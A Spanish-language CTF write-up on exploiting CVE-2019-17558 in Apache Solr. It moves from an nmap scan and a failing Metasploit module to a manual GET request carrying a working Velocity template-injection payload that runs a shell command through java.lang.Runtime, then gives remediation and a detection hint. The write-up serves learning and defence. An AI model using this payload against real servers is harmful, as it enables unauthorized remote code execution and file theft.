
Write-up de CTF que documenta la explotación de CVE-2019-17558 en Apache Solr, cubriendo reconocimiento, limitaciones de Metasploit, inyección manual de plantillas Velocity, captura de flags y remediación.
Explotación práctica de una vulnerabilidad de inyección de plantillas Velocity (Velocity Template Injection) en Apache Solr, evolucionando de una falla en una herramienta automatizada (Metasploit) a una explotación manual exitosa.
Este write-up documenta el razonamiento completo del ejercicio, centrado en el diagnóstico de la falla de la herramienta y en el pivote hacia la explotación manual.
| Ítem | Descripción |
|---|---|
| Objetivo | Servidor Linux ejecutando Apache Solr en el puerto 8983 |
| Meta | Leer el contenido de un archivo sensible (/home/favorite_book.txt) |
| Vulnerabilidad | CVE-2019-17558 (RCE vía Velocity Response Writer) |
La fase inicial consistió en la identificación de servicios activos en el host objetivo.
nmap -sV -p- <TARGET_IP>
Resultados.
novacollection.Al acceder al panel administrativo, se confirmó que la versión de Solr era vulnerable a Velocity Template Injection.
La falla ocurre cuando el atacante logra cambiar la configuración params.resource.loader.enabled a true, lo que permite el uso de plantillas Velocity personalizadas y, a partir de ahí, la ejecución de código Java arbitrario en el servidor.
Inicialmente se utilizó el módulo exploit/multi/http/solr_velocity_rce.
El exploit logró cambiar la configuración de Solr con éxito.
[+] params.resource.loader.enabled is true for core 'novacollection'
Sin embargo, la etapa final de inyección del payload falló con un error de ejecución de Ruby.
NoMethodError: undefined method 'body' for nil:NilClass
Esto indicó que, aunque el entorno era vulnerable y ya estaba preparado, la herramienta no pudo procesar la respuesta del servidor para finalizar el ataque. El objetivo no estaba protegido; solo el método de entrega del módulo necesitaba ajustarse.
Con el Velocity Writer ya habilitado por Metasploit, la inyección se realizó manualmente mediante una petición HTTP GET, eludiendo el error del script. La plantilla Velocity se construyó para instanciar java.lang.Runtime y ejecutar el comando de lectura del archivo objetivo.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Comando efectivamente ejecutado en el servidor.
cat /home/favorite_book.txt
La inyección fue exitosa y el contenido del archivo se devolvió directamente en el cuerpo de la respuesta HTTP, renderizado en el navegador, permitiendo la captura de la flag.
NoMethodError no significaba un objetivo seguro, solo que el método de entrega necesitaba ajuste.params.resource.loader.enabled permanezca deshabilitado.select con parámetros wt=velocity, útiles como firma de detección en SIEM.Este repositorio fue creado con fines educativos y de documentación de aprendizaje en un entorno controlado (CTF). No utilice estas técnicas contra sistemas sin autorización explícita.